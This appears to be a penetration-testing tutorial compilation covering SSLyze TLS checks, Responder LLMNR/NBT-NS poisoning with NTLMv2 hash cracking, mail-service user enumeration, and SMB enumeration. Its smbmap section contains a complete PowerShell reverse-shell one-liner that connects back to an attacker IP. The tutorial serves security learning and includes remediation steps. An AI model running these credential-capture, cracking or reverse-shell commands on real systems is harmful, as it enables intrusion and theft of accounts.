Testing SSL/TLS certificates (SSLyze)

It allows you to analyze the SSL/TLS configuration of a server by connecting to it, in order to detect various issues (bad certificate, weak cipher suites, Heartbleed, ROBOT, TLS 1.3 support, etc.).

It is a Python tool that can analyze the SSL configuration of a server by connecting to it. It is designed to be fast and comprehensive, and should help organizations and testers identify misconfigurations affecting their SSL servers.

Key features include:

  • Multi-processed and multi-threaded scanning (it’s fast)
  • SSL 2.0/3.0 and TLS 1.0/1.1/1.2 compatibility
  • Performance testing: session resumption and TLS tickets support
  • Security testing: weak cipher suites, insecure renegotiation, CRIME, Heartbleed and more
  • Server certificate validation and revocation checking through OCSP stapling
  • Support for StartTLS handshakes on SMTP, XMPP, LDAP, POP, IMAP, RDP and FTP
  • Support for client certificates when scanning servers that perform mutual authentication
  • XML output to further process the scan results

https://github.com/iSECPartners/sslyze

For this example, we will analyze a website certificate as well as a self-signed certificate. To create a certificate visit. https://vk9-sec.com/how-to-create-a-self-signed-certificate-openssl/

Basics

1. To download the tool (it already comes installed in most security distros)

  • git clone https://github.com/iSECPartners/sslyze.git
  • ls -ld sslyze

You could also run these commands if you face any issues running the script

  • pip install –upgrade setuptools
  • php install –upgrade sslyze

2. Run basic help

-h, –help = show this help message and exit

  • sslyze -h

3. Check for the tool version

–version = show program’s version number and exit

  • sslyze –version

4. Updade the trust stores

–update_trust_stores = Update the default trust stores used by SSLyze. The latest stores will be downloaded from https://github.com/nabla-c0d3/trust_stores_observatory.

  • sudo sslyze –update_trust_stores

How run the application

1. Perform a basic scan on a website

–regular = Regular HTTPS scan; shortcut for –sslv2 –sslv3 –tlsv1 –tlsv1_1 –tlsv1_2 –tlsv1_3 –reneg –resum –certinfo –hide_rejected_ciphers –compression –heartbleed –openssl_ccs –fallback –robot

  • sslyze –regular www.vk9-sec.com

2. To save the results to file run

  • sslyze –regular www.vk9-sec.com –json_out=results.json
  • cat results.json

To write the file and don’t print anything on the screen use –quet

–quiet = Do not output anything to stdout; useful when using –json_out

  • sslyze –regular www.vk9-sec.com –json_out=results.json –quiet

3. To check for a list of targets

–targets_in=TARGETS_IN = Read the list of targets to scan from the file TARGETS_IN. It should contain one host:port per line.

  • vi sites.txt
  • cat sites.txt (vk9-sec.com:443)
  • sslyze –regular –targets_in=sites.txt

4. Run a slow and less aggressive test, but more accurate

  • sslyze –regular www.vk9-sec.com –slow_connection

5. Scanning for some protocols at the target

–starttls=STARTTLS = Perform a StartTLS handshake when connecting to the target server(s).

  • sslyze www.vk9-sec.com –starttls=auto

Types of scan

1. Scan for TLS 1.1 support

–tlsv1_1 = Test a server for TLS 1.1 support.

  • sslyze www.vk9-sec.com –tlsv1_1

2. Test a server for the OpenSSL CCS Injection

  • sslyze www.vk9-sec.com –openssl_ccs

3. Test a server for the TLS_FALLBACK_SCSV mechanism to prevent downgrade attacks.

  • sslyze www.vk9-sec.com –fallback

4. Test a server for SSL 3.0 support.

  • sslyze www.vk9-sec.com –sslv3

5. Test a server for the OpenSSL Heartbleed vulnerability.

  • sslyze www.vk9-sec.com –heartbleed

6. Test a server for the ROBOT vulnerability.

  • sslyze www.vk9-sec.com –robot

7. Test a server for the presence of security-related HTTP headers.

  • sslyze www.vk9-sec.com –http_headers

8. Test a server for TLS 1.3 early data support.

  • sslyze www.vk9-sec.com –early_data

9. Test a server for for insecure TLS renegotiation and client-initiated renegotiation.

  • sslyze www.vk9-sec.com –reneg

10. Test a server for TLS compression support, which can be leveraged to perform a CRIME attack.

  • sslyze www.vk9-sec.com –compression

11. Test a server for session resumption support using session IDs and TLS tickets.

  • sslyze www.vk9-sec.com –resum

12. Test a server for TLS 1.3 support.

  • sslyze www.vk9-sec.com –tlsv1_3

13. Test a server for SSL 2.0 support.

  • sslyze www.vk9-sec.com –sslv2

14. Retrieve and analyze a server’s certificate(s) to verify its validity.

  • sslyze www.vk9-sec.com –certinfo

 

LLMNR / NBT-NS Poisoning (Responder tool)

Responder an LLMNR, NBT-NS and MDNS poisoner. It will answer to specific NBT-NS (NetBIOS Name Service) queries based on their name suffix. By default, the tool will only answer to File Server Service request, which is for SMB.

An attacker can capture usernames and passwords on a local network by simply waiting for the computers to willingly give them up. If one machine tries to resolve a particular host, but DNS resolution fails, the machine will then attempt to ask all other machines on the local network for the correct address via LLMNR or NBT-NS.

An attacker can listen on a network for these LLMNR (UDP/5355) or NBT-NS (UDP/137) broadcasts and respond to them, thus pretending that the attacker knows the location of the requested host.

Since Windows assumes that anyone on the network is automatically trusted. When a DNS request fails, Windows will attempt to ask other devices on the network to resolve that address over LLMNR or NBT-NS.

  • LLMNR is based upon the DNS format and allows hosts on the same local link to perform name resolution for other hosts.
  • NBT-NS identifies the systems on a local network by their NetBIOS name.
  • When a windows host cannot resolve a hostname using DNS, it uses the LLMNR protocol (Link-Local Multicast Name Resolution) to ask neighboring computers about it. If that also fails, then it uses the NBT-NS (NetBios Name Service).
  • When LLMNR/NBT-NS is used to resolve a name, any host on the network can reply. So, Responder is one of such tools that poisons the request.

Sample 1

Let’s look at an example in the diagram below.

1. The victim machine wants to go the print server at \\printserver, but mistakenly types in \\pintserver.

2. The DNS server responds to the victim saying that it doesn’t know that host.

3. The victim then asks if there is anyone on the local network that knows the location of \\pintserver

4. The attacker responds to the victim saying that it is the \\pintserver

5. The victim believes the attacker and sends its own username and NTLMv2 hash to the attacker.

6. The attacker can now crack the hash to discover the password

LLMNR NBT-NS Poisoning diagram

Sample 2

1. User sends incorrect SMB share address \\SNARE01

2. DNS Server responds with \\SNARE01 – NOT FOUND

3. Client performs LLMNR / NBT-NS broadcast

4. Responder tells the client it’s SNARE01 and accepts the NTLMv2 hash

5. Responder sends an error back to the client, so the end user is non the wiser and simply thinks they have the wrong share name

responder.py LLMNR NetBIOS Name Server spoofing

Using Responder

https://github.com/SpiderLabs/Responder

1. Basic help

  • responder -h

2. Show version of the application

  • responder –version

3. With the option -I it will listen on the specified interface and -A will analyze the traffic, no poisoning. The user must make an invalid query for the multicast to be sent and captured by the tool

-A, –analyze = Analyze mode. This option allows you to see NBT-NS, BROWSER, LLMNR requests without responding.

-I eth0, –interface=eth0 = Network interface to use, you can use ‘ALL’ as a wildcard for all interfaces

  • responder -I eth0 -A

4. Using the option -e will respond with a spoofed IP

-e 10.0.0.22, –externalip=10.0.0.22 = Poison all requests with another IP address than Responder’s one.

  • responder -I eth0 -e 172.16.0.2

In Wireshark we can capture the request

3. In this case we will receive the multicast since the share doesn’t exist, and, negotiate the authentication, we increased verbosity to get more detailed output

-b, –basic = Return a Basic HTTP authentication. Default: NTLM

-v, –verbose = Increase verbosity.

  • sudo /usr/sbin/responder -I eth0 -b -v

In Wireshark we get to see more traffic

4. To fingerprint the OS of the system you can use -f

-f, –fingerprint = This option allows you to fingerprint a host that issued an NBT-NS or LLMNR query.

  • responder -I eth0 -b -v -f

5. Acts as a proxy. If a browser is configured to automatically detect proxy settings, then it will make use of WPAD protocol to try and locate and download the wpad.dat Proxy Auto-Config (PAC) file. Traffic goes as HTTP

A Proxy Auto-Configuration (PAC) file is used by WEB browser to understand if the requests go directly to the destination (request go out without pass through a proxy) or are forwarded to a proxy server (request go out through a proxy).

Internet Explorer, Google Chrome and Firefox are configured by default to use the systems settings for locating the PAC file has WPAD

-w, –wpad = Start the WPAD rogue proxy server. Default value is False

  • responder -I eth0 -w -v

In the browser we may get

When the user enters the credentials they are captured.

6. This one is to force the authentication on wpad.dat

-F, –ForceWpadAuth Force NTLM/Basic authentication on wpad.dat file retrieval. This may cause a login prompt. Default: False

  • responder -I eth0 -w -b -v -F

7. This is a good query to attack

  • responder -I eth0 -w -b -v -F -f

Once, you capture a hash you can proceed to crack it using your favorite cracking tools., Make sure most of the settings are on to capture on different protocols.

Cracking NTLM hashes captured by responder

1. Having captured the broadcast message due to inexistent DNS name (servername lab-dc, user entered lab-dk) when trying to connect to the SMB share

Here we can find the following details

  • The wrong domain the user attempted to access: lab-dk
  • Hash type and version: NTLMv2
  • Username and domain: LAB\nuzumaki
  • The NTLM hash

2. Grab the hash and save it into a file

  • vi hash.txt
  • cat hash.txt

Note: make sure it is a single line with no additional spaces

Cracking with hashcat

1. Identify the hash type number using (https://hashcat.net/wiki/doku.php?id=example_hashes)

  • search NTLMv2

2. Knowing the hash ID from https://hashcat.net/ we can proceed to use the hash file, and a wordlist

  • hashcat -m 5600 hash.txt /usr/share/wordlists/rockyou.txt

Note: as you can see Status: Cracked, and the password is displayed next to the hash, Password: Kyuubi123

Cracking using John

1. Identify the hash type using –list=format

  • john –list=formats | awk -F”, ” ‘{for (i=1; i<=NF; i++) print $i}’ | grep -i ntlm

2. Run john against our hash file, set the hash type and the wordlist

  • john –wordlist=/usr/share/wordlists/rockyou.txt –format=netntlmv2 hash.txt

Remediation

To mitigate this attack from potentially happening in your local network domain, it is best to disable LLMNR and NBT-NS.

Note that in the above attack scenarios, these protocols were only used when no DNS entries existed for the queries. Providing your DNS server resolves the names that need to be found in your network, the other protocols do not need running.

1. Disabling LLMNR:

  • Open the Group Policy Editor in your version of Windows
  • Navigate to Local Computer Policy > Computer Configuration > Administrative Templates > Network > DNS Client
  • Under DNS Client, make sure that “Turn OFF Multicast Name Resolution” is set to Enabled

2. Disabling NBT-NS:

  • Open your Network Connections and view the properties of your network adapter.
  • Select Internet Protocol Version 4 (TCP/IPv4) and click on Properties.
  • On the General tab click Advanced and navigate to the WINS tab, then select “Disable NetBIOS over TCP/IP.
  • One option for disabling NBT-NS is to use DHCP scope options. If using Microsoft’s DHCP server, select the scope that you want to disable NBT-NS for. Right click “Scope Options” and click “Configure Options”

1. Go to the DHCP Snap-In

2. Go to “scope options” for the network you are changing

3. Right click and Configure Options

4. Select Advanced tab and change “Vendor class” to “Microsoft Windows 2000 Options”.

5. In the “Available Options” frame, select and check the box “001 Microsoft Disable Netbios Option”

6. In the “Data Entry” frame, change the data entry to 0x2

7. Click “OK”. The new settings will take affect when the clients renew their addresses.

3. Monitor HKLM\Software\Policies\Microsoft\Windows NT\DNSClient for changes to the “EnableMulticast” DWORD value. A value of “0” indicates LLMNR is disabled.

https://computerstepbystep.com/turn-off-multicast-name-resolution.html

5. Monitor for traffic for UDP 5355 and UDP 137 if LLMNR/NetBIOS.

Mitigations against WPAD

  • Create DNS entry for WPAD that points to the internal proxy server so the attacker cannot manipulate the traffic.
  • You can add an entry for “wpad” in your DNS zone. Note that the DNS entry does not need to point to a valid WPAD server. As long as the queries are resolved, the attack will be prevented.
  • Disable “Autodetect Proxy Settings” in the browser or using Group Policy

25,110,143/tcp SMTP,POP3,IMAP – Enumeration

SMTP is an application layer protocol. The client who wants to send the mail opens a TCP connection to the SMTP server and then sends the mail across the connection. The SMTP server is always on listening mode. As soon as it listens for a TCP connection from any client, the SMTP process initiates a connection on that port (25). After successfully establishing the TCP connection the client process sends the mail instantly.

Using a process called “store and forward,” SMTP moves your email on and across networks. It works closely with something called the Mail Transfer Agent (MTA) to send your communication to the right computer and email inbox.

How this works

  • First, an e-mail server uses SMTP to send a message from an e-mail client, such as Outlook or Gmail, to an e-mail server.
  • Second, the e-mail server uses SMTP as a relay service to send the e-mail to the receiving e-mail server.
  • Third, the receiving server uses an e-mail client to download incoming mail via IMAP and place it in the inbox of the recipient.

http://www.reydes.com/d/sites/default/files/iblog/2014/Feb/enumerasmtp_01.jpg

SMTP vs IMAP vs POP3

  • SMTP is used to send, relay or forward messages from a mail client, but cannot retrieve messages. Uses port 25, also could use 587 and 465 for TLS
  • IMAP is an e-mail protocol that deals with managing and retrieving e-mail messages, used in receiving emails, not sending them. Uses port 143 or 993 for TLS
  • POP3 is used to retrieve messages from an email server to a mail client, uses port 110, 995 for TLS

Qué es SMTP y cómo puede afectar a mis envíos de email: guía rápida

SMTP Commands

Command Meaning Example
HELO Specify your domain name so that the mail server knows who you are. HELO vk9security.com
MAIL Specify the sender email. MAIL FROM: <example@vk9security.com>
RCPT Specify the recipient. Issue this command multiple times if you have more than one recipient. RCPT TO: <example2@vk9security.com>
DATA Issue this command before sending the body of the message. The message body must end with the following five letter sequence: “\r\n.\r\n.”
QUIT Terminates the conversation with the server.
EXPN Specify that your recipient is a mailing list.
HELP Asks for help from the mail server.
NOOP Does nothing except to get a response from the server.
RSET Aborts the current conversation and start a new conversation.
SEND Sends a message to a user’s terminal instead of a mailbox.
SAML Sends a message to a user’s terminal and to a user’s mailbox.
SOML Sends a message to a user’s terminal if they are logged on; otherwise, sends the message to the user’s mailbox.
TURN Reverses the role of client and server. This might be useful if the client program can also act as a server and needs to receive mail from the remote computer.
VRFY Verifies that a particular user name of a given mail address exists. Not supported by all mail servers.

SMTP Responses

Code Meaning
211 System status or system help reply.
214 Help message.
220 Server is ready.
221 Server transmission ending.
250 Requested mail action okay, completed.
251 Specified user is not local, but the server will forward the mail message.
354 This is a reply to the DATA command. After getting this, start sending the body of the mail message, ending with “\r\n.\r\n.”
421 The mail service is unavailable. Try again later.
450 The recipient mailbox is busy. Try again later.
451 The requested action was not done. Some error occurred in the mail server.
452 The requested action was not done. The mail server ran out of system storage.
500 The last command contained a syntax error or the command line was too long.
501 The parameters or arguments in the last command contained a syntax error.
502 The mail server has not implemented the last command.
503 The last command was sent out of sequence. For example, you might have sent DATA before sending RECV.
504 One of the parameters of the last command has not been implemented by the server.
550 The recipient mailbox is not found, no access, or command rejected for policy reasons
551 The specified user is not local; part of the text of the message will contain a forwarding address.
552 The recipient mailbox is full. Try again later.
553 The mail address that you specified was not syntactically correct.
554 The mail transaction has encountered unknown errors.

POP3 commands

Command Comment
USER Your user name for this mail server USER Stan
+OK Please enter a password
PASS Your password. PASS SeCrEt
+OK valid logon
QUIT End your session. QUIT
+OK Bye-bye.
STAT Number and total size of all messages STAT
+OK 2 320
LIST Message# and size of message LIST
+OK 2 messages (320 octets)
1 120
2 200

LIST 2
+OK 2 200
RETR message# Retrieve selected message RETR 1
+OK 120 octets follow.
***
DELE message# Delete selected message DELE 2
+OK message deleted
NOOP No-op. Keeps you connection open. NOOP
+OK
RSET Reset the mailbox. Undelete deleted messages. RSET
+OK maildrop has 2 messages (320 octets)
TOP [message] [number] Returns the headers and number of lines from the message TOP 1 10
+OK
***

IMAP Commands

Command Description Usage
APPEND Appends the literal argument as a new message to the end of the specified destination mailbox. Yes
AUTHENTICATE Indicates a Simple Authentication and Security Layer (SASL) authentication mechanism to the server. Yes
CAPABILITY Requests a listing of capabilities that the server supports. Yes
CHECK Requests a checkpoint of the currently selected mailbox. No
CLOSE Permanently removes all messages that have the \Deleted flag set from the currently selected mailbox, and returns to the authenticated state from the selected state. No
COPY/UID COPY Copies the specified message(s) to the end of the specified destination mailbox. Yes
CREATE Creates a mailbox with the given name. Yes
DELETE Permanently removes the mailbox with the given name. No
EXAMINE Identical to SELECT and returns the same output; however, the selected mailbox is identified as read-only. Yes
EXPUNGE Permanently removes all messages that have the \Deleted flag set from the currently selected mailbox. Yes
FETCH/UID FETCH Retrieves data associated with a message in the mailbox. Yes
UID Unique identifier. Yes
LIST Returns a subset of names from the complete set of all names available to the client. Yes
LOGIN Identifies the client to the server and carries the plaintext password authenticating this user. Yes
LOGOUT Informs the server that the client is done with the connection. No
LSUB Returns a subset of names from the set of names that the user has declared as being “active” or “subscribed”. Yes
NOOP Does nothing. It always succeeds. Yes
RENAME Changes the name of a mailbox. No
SEARCH Searches the mailbox for messages that match the given searching criteria. Yes
SELECT Selects a mailbox so that messages in the mailbox can be accessed. Yes
STORE Alters data associated with a message in the mailbox. Yes
SUBSCRIBE Adds the specified mailbox name to the server’s set of “active” or “subscribed” mailboxes as returned by the LSUB command. No
UNSUBSCRIBE Removes the specified mailbox name from the server’s set of “active” or “subscribed” mailboxes as returned by the LSUB command. No

IMAP vs POP3 comparison

Login Exactly equiv No POP parameter for IMAP
VerifyID Exactly equiv
Delete Exactly equiv IMAP commands delete in real time. POP3 waits for POP3_Logout to remove messages permanently. IMAP_SetFlags with \Deleted flag allows you to obtain the same result as the POP3_Delete command
Logout Exactly equiv
SetPrefs Exactly equiv No attachFolder for IMAP, POP3 attachFolder has become optional
GetPrefs Exactly equiv See attachFolder note in SetPrefs
MsgLstInfo Exactly equiv
MsgInfo Exactly equiv
MsgLst Exactly equiv
UIDToMsgNum Exactly equiv IMAP msgUID is a Longint, POP3 msgUID is a string
Download Exactly equiv
POP3_Reset No direct equiv Need combination of IMAP_Search on \Deleted flags and IMAP_SetFlags to remove the \Deleted flag
POP3_BoxInfo No direct equiv Need combination of IMAP_SetCurrentMB &IMAP_MsgLstInfo commands
IMAP_ MsgNumToUID No direct equiv
GetMessage Almost Equiv IMAP is more powerful since it allows you to choose one additional msgPart which is “only body”
POP3_Charset No Equiv IMAP automatically manages charset
IMAP_Capability No Equiv Specific to IMAP protocol
IMAP_ListMBs No Equiv Specific to IMAP protocol
IMAP_GetMBStatus No Equiv Specific to IMAP protocol
IMAP_SetCurrentMB No Equiv Specific to IMAP protocol
IMAP_GetCurrentMB No Equiv Specific to IMAP protocol
IMAP_CloseCurrentMB No Equiv Specific to IMAP protocol
IMAP_CopyToMB No Equiv Specific to IMAP protocol
IMAP_SubscribeMB No Equiv Specific to IMAP protocol
IMAP_CreateMB No Equiv Specific to IMAP protocol
IMAP_DeleteMB No Equiv Specific to IMAP protocol
IMAP_RenameMB No Equiv Specific to IMAP protocol
IMAP_SetFlags No Equiv Specific to IMAP protocol
IMAP_GetFlags No Equiv Specific to IMAP protocol
IMAP_Search No Equiv Specific to IMAP protocol
IMAP_MsgFetch No Equiv Specific to IMAP protocol

Example of SMTP conversation

===========================================

220 mx1.example.com ESMTP Postfix

HELO vk9security.com

250 mx1.vk9security.com

MAIL FROM:<example@vk9security.com >

250 2.1.0 Ok

RCPT TO:<example2@vk9security.com >

250 2.1.5 Ok

DATA

354 End data with <CR><LF>.<CR><LF>

This is a test message.

.

250 2.0.0 Ok: queued as 4227FE00C

QUIT

221 2.0.0 Bye

===========================================

Enumeration

POP3

Telnet

1. Connect to the server via telnet

  • telnet 10.10.10.51 110

2. Enumerate users

+OK = exists

-ERR = doesn’t exist

  • USER billydean
  • USER vry4n

3. If you got credentials you could access and read emails, since, POP3 is designed to retrieve emails

USER = username

PASS = password

  • USER mindy
  • PASS Password3

4. List Emails in this profile & read any

  • LIST
  • RETR 2

5. Check for number and size of messages

  • STAT

Nmap

1. Enumerate Domains

  • nmap -p 110,995 –script pop3-ntlm-info 10.10.10.51

2. Display what commands are allowed

  • nmap -p 110,995 –script pop3-capabilities 10.10.10.51

SMTP

Telnet

1. Access the service, in this case we care even displayed the domain

  • telnet 192.168.0.7 25

2. Verify if an email account exists

Pass = If you received a message code 250,251,252 which means the server has accepted the request and user account is valid.

Fail = if you received a message code 550 it means invalid user account

  • vrfy root
  • vrfy vry4n
  • vrfy msfadmin
  • vrfy msfadmin@metasploitable.localdomain

Metasploit

1. Enumerate the service version, and, grab banner

  • use auxiliary/scanner/smtp/smtp_version
  • show options
  • set RHOST 192.168.0.7
  • exploit

2. Enumerate users using a list

  • use auxiliary/scanner/smtp/smtp_enum
  • show options
  • set RHOST 192.168.0.7
  • exploit
  • <optional> set USER_FILE new_list.txt

3.Detect an open relay

  • use auxiliary/scanner/smtp/smtp_relay
  • show options
  • set MAILFROM root@metasploitable.localdomain
  • set MAILTO msfadmin@metasploitable.localdomain
  • set RHOST 192.168.0.7
  • exploit

smtp-user-enum

1. Download the app

2. Display help menu

  • ./smtp-user-enum.pl -h

3. Enumerate users using VRFY method

-M mode = Method to use for username guessing EXPN, VRFY or RCPT (default: VRFY)

  • ./smtp-user-enum.pl -M VRFY -u msfadmin -t 192.168.0.7

4. Enumerate users using a list

  • ./smtp-user-enum.pl -M VRFY -U /usr/share/metasploit-framework/data/wordlists/unix_users.txt -t 192.168.0.7

5. Verify user email address, and domain

  • ./smtp-user-enum.pl -M VRFY -D metasploitable.localdomain -U /usr/share/metasploit-framework/data/wordlists/unix_users.txt -t 192.168.0.7

ISMTP

1. Download the application

2. Display basic help

3. Validate email addresses using a list from a file

-e <file> = Enable SMTP user enumeration testing and imports email list.

-h <host> = The target IP and port (IP:port).

  • python iSMTP.py -e email_list.txt -h 192.168.0.7

4. Using a specific method

-l <1|2|3> = Specifies enumeration type (1 = VRFY, 2 = RCPT TO, 3 = all).

  • python iSMTP.py -e email_list.txt -l 2 -h 192.168.0.7

IMAP

Telnel or open SSL

1. Connect to the service using Telnet (unsecure 143) or openssl (secure 993)

  • openssl s_client -crlf -connect 10.10.10.120:993
  • ncat –ssl 10.10.10.120 993
  • telnet 10.10.10.120 143

2. Knowing credentials you can log in

https://tools.ietf.org/html/rfc3501

https://busylog.net/telnet-imap-commands-note/

  • A001 login ayush jiujitsu

3. Testing wrong credentials

  • A001 login vry4n test

4. You can connect to the IMAP service using an email client like thunderbird to retrieve emails. You could also do it from the CLI

  • A001 LIST “” “*”

Here we can see 3 folders Drafts, Sent, Inbox

5. Choose one of those

  • A001 SELECT Drafts

6. Open emails

  • A001 FETCH 1 BODY[]

nmap

1. Run scripts to have a little more insight

  • nmap -p 143,993 –script imap-capabilities,imap-ntlm-info 10.10.10.120

Metasploit

1. Grab version and banner

  • use auxiliary/scanner/imap/imap_version
  • show options
  • set RHOSTS 10.10.10.120
  • exploit

139,445/tcp – SMB Enumeration

Vulnerabilities in SMB Shares are Medium risk vulnerability that is one of the most frequently found on networks around the world. This issue has been around since at least 1990 but has proven either difficult to detect, difficult to resolve or prone to being overlooked entirely.

Things that might be interesting:

  • check for null session
  • listing of shares
  • domain info
  • password policy
  • RID cycling output

Default shares are C$, ADMIN$, IPC$

Working ports below:

  • Port 135 – Remote Procedure Call (RPC)
  • Port 137 – NetBIOS Name Service
  • Port 138 – NetBIOS Datagram Service
  • Port 139 – NetBIOS Session Service

Information that can be gained includes (but not limited to):

  • Users and groups / shares
  • Operating system information
  • Password policies / Password hashes
  • Privileges / Permissions
  • Available shares

OS targets:

  • Windows server before 2003, 2008, 2012, 2016
  • Older Unix and Linux hosts

Before going more deeper, it’s very important to understand services we are targeting i.e NETBIOS. NETBIOS provides three distinct services:

  • Session service (NetBIOS-SSN) for connection-oriented communication.
  • Name Service (NETBIOS-NS) for name registration and resolution.
  • Datagram distribution service (NetBIOS-DGM) for connectionless communication.

From above three services, we only going to focus on first two of them i.e NetBIOS-SSN & NETBIOS-NS

Session service (NetBIOS-SSN)

  • Session mode lets two computers establish a connection, allows messages to span multiple packets, and provides error detection and recovery. In NBT (Netbios over TCP/IP), the session service runs on TCP port 139.

Name Service (NetBIOS-NS)

  • In order to start sessions or distribute datagrams, an application must register its NetBIOS name using the name service.
  • NetBIOS names are 16 octets in length and vary based on the particular implementation.
  • The name service operates on UDP port 137 (TCP port 137 can also be used, but rarely is).

SAMBA

  • Samba is a free software re-implementation of the SMB/CIFS networking protocol, and was originally developed by Andrew Tridgell.
  • Samba provides file and print services.
  • Samba runs on most Unix, OpenVMS and Unix-like systems, such as Linux, Solaris, AIX and the BSD variants, including Apple’s OS X Server, and OS X client (version 10.2 and greater).
  • The name Samba comes from SMB (Server Message Block), the name of the standard protocol used by the Microsoft Windows network file system.

13.1 Denial-of-Service Attacks | Security Warrior

Enumeration

Metasploit

All these are modules that can help scan SMB

1. Identify SMB1 version

  • use auxiliary/scanner/smb/smb1
  • set RHOST 192.168.0.10
  • set RPORT 139
  • exploit

2. Identifies SMB2

  • use auxiliary/scanner/smb/smb2
  • set RHOST 192.168.0.10
  • set RPORT 139
  • exploit

3. Enumerate Shares

  • auxiliary/scanner/smb/smb_enumshares
  • set RHOST 192.168.0.10
  • set RPORT 139
  • exploit

4. Enumerate users (can set a list of users and passwords to test)

  • auxiliary/scanner/smb/smb_enumusers
  • set RHOST 192.168.0.10
  • set RPORT 139
  • exploit
  • show options

These are additional modules that can be used for further enumeration

  • auxiliary/scanner/smb/smb_login
  • auxiliary/scanner/smb/smb_lookupsid
  • auxiliary/scanner/smb/smb_ms17_010
  • auxiliary/scanner/smb/smb_uninit_cred
  • auxiliary/scanner/smb/smb_version
  • auxiliary/scanner/smb/smb_enum_gpp
  • auxiliary/scanner/smb/smb_enumusers_domain

Nmap

1. Basic SMB enumeration scripts

  • nmap -p 139, 445 –script smb-enum-domains,smb-enum-groups,smb-enum-processes,smb-enum-services,smb-enum-sessions,smb-enum-shares,smb-enum-users 192.168.0.10
  • nmap –script smb-enum* -p 139,445 192.168.0.10

2. Scanning for known vulnerabilities

  • nmap -p 139, 445 –script smb-vuln-conficker,smb-vuln-cve-2017-7494,smb-vuln-cve2009-3103,smb-vuln-ms06-025,smb-vuln-ms07-029,smb-vuln-ms08-067,smb-vuln-ms10-054,smb-vuln-ms10-061,smb-vuln-ms17-010,smb-vuln-regsvc-dos,smb-vuln-webexec 192.168.0.10
  • nmap –script smb-vuln* -p 139,445 192.168.0.10

3. Host information

  • nmap -p 139, 445 –script smb-os-discovery,smb-protocols,smb-psexec,smb-security-mode,smb-server-stats,smb-system-info 192.168.0.10

4. Scan for SMB2

nmap -p 139, 445 –script smb2-capabilities,smb2-security-mode,smb2-time,smb2-vuln-uptime 192.168.0.10

nmblookup

NetBIOS over TCP/IP client used to lookup NetBIOS names

-A, –lookup-by-ip = Do a node status on <name> as an IP Address

  • nmblookup -A 192.168.0.10

smbmap

SMB enumeration tool

1. Enumerate Shares

-H HOST = IP of host

-P PORT = SMB port (default 445)

  • smbmap -H 192.168.0.10
  • smbmap -P 139 -H 192.168.0.10

2. Enumerate host OS

-v = Return the OS version of the remote host

  • smbmap -v -P 139 -H 192.168.0.10

3. Do recursive enumeration of directories and files based on a shares

-r [PATH] = List contents of directory, default is to list root of all shares, ex. -r ‘C$\Documents’

  • smbmap -r ‘kathy’ -P 139 -H 192.168.0.10

-R [PATH] = Recursively list dirs, and files (no share\path lists ALL shares), ex. ‘C$\Finance’

  • smbmap -R ‘kathy’ -P 139 -H 192.168.0.10

4. Only show READ/WRITE directories

-q = Quiet verbose output. Only shows shares you have READ or WRITE on, and suppresses file listing when performing a search

  • smbmap -P 139 -H 192.168.0.10 -q

5. Display help menu

  • smbmap –help

6. Download files from a share

–download PATH = Download a file from the remote system, ex.’C$\temp\passwords.txt’

  • smbmap -R ‘tmp’ -P 139 -H 192.168.0.10
  • smbmap -P 139 -H 192.168.0.10 –download ‘tmp\ls’
  • ls -l 192.168.0.10-tmp_ls
  • cat 192.168.0.10-tmp_ls

7. Upload a file to a share, need write access

–upload SRC DST = Upload a file to the remote system ex. ‘/tmp/payload.exe C$\temp\payload.exe’

  • smbmap -P 139 -H 192.168.0.10 –upload “test.txt” ‘tmp\test.txt’
  • smbmap -R ‘tmp’ -P 139 -H 192.168.0.10

8. Delete files

–delete PATH TO FILE = Delete a remote file, ex. ‘C$\temp\msf.exe’

  • smbmap -P 139 -H 192.168.0.10 –delete ‘tmp\test.txt’
  • smbmap -R ‘tmp’ -P 139 -H 192.168.0.10

9. You can use User credentials to check on the shares

-u USERNAME = Username, if omitted null session assumed

-p PASSWORD = Password or NTLM hash

  • smbmap -u SHayslett -p SHayslett -H 192.168.0.10 -P 139

10 You can execute systems commands

-x COMMAND = Execute a command ex. ‘ipconfig /all’

  • smbmap -x ‘ifconfig’ -H 192.168.0.10

11. Specify a domain and share

-s SHARE = Specify a share (default C$), ex ‘C$’

-d DOMAIN = Domain name (default WORKGROUP)

  • smbmap -d WORKGROUP -s kathy -H 192.168.0.10

12. Reverse shell

  • smbmap -u jsmith -p ‘R33nisP!nckle’ -d ABC -H 192.168.2.50 -x ‘powershell -command “function ReverseShellClean {if ($c.Connected -eq $true) {$c.Close()}; if ($p.ExitCode -ne $null) {$p.Close()}; exit; };$a=””””192.168.0.153″”””; $port=””””4445″”””;$c=New-Object system.net.sockets.tcpclient;$c.connect($a,$port) ;$s=$c.GetStream();$nb=New-Object System.Byte[] $c.ReceiveBufferSize ;$p=New-Object System.Diagnostics.Process ;$p.StartInfo.FileName=””””cmd.exe”””” ;$p.StartInfo.RedirectStandardInput=1 ;$p.StartInfo.RedirectStandardOutput=1;$p.StartInfo.UseShellExecute=0 ;$p.Start() ;$is=$p.StandardInput ;$os=$p.StandardOutput ;Start-Sleep 1 ;$e=new-object System.Text.AsciiEncoding ;while($os.Peek() -ne -1){$out += $e.GetString($os.Read())} $s.Write($e.GetBytes($out),0,$out.Length) ;$out=$null;$done=$false;while (-not $done) {if ($c.Connected -ne $true) {cleanup} $pos=0;$i=1; while (($i -gt 0) -and ($pos -lt $nb.Length)) { $read=$s.Read($nb,$pos,$nb.Length – $pos); $pos+=$read;if ($pos -and ($nb[0..$($pos-1)] -contains 10)) {break}} if ($pos -gt 0){ $string=$e.GetString($nb,0,$pos); $is.write($string); start-sleep 1; if ($p.ExitCode -ne $null) {ReverseShellClean} else { $out=$e.GetString($os.Read());while($os.Peek() -ne -1){ $out += $e.GetString($os.Read());if ($out -eq $string) {$out=”””” “”””}} $s.Write($e.GetBytes($out),0,$out.length); $out=$null; $string=$null}} else {ReverseShellClean}};”‘

enum4linux

Enum4linux is a tool for enumerating information from Windows and Samba systems.

1. Display basic help

  • enum4linux –help

2. Basic command to run all the scripts

-a = Do all simple enumeration (-U -S -G -P -r -o -n -i)

  • enum4linux -a 192.168.0.10

3. You can specify a username and password if you know one

-u user specify username to use (default “”)

-p pass specify password to use (default “”)

  • enum4linux -u user -p password 192.168.0.10

4. Check to see if a user exists on the system

-k user = User(s) that exists on remote system (default: administrator,guest,krbtgt,domain,admins,root,bin,none)

  • enum4linux -k Ronaldo 192.168.0.10

nbtscan

This is a command utility that tries to scan NetBIOS name servers open on a local or remote TCP/IP network and because it is a first step in finding open shares.

1. Basic help

  • nbtscan

2. Basic scan, it can be an IP or a network range

  • nbtscan 192.168.0.10

3. Use local port 137 for scans

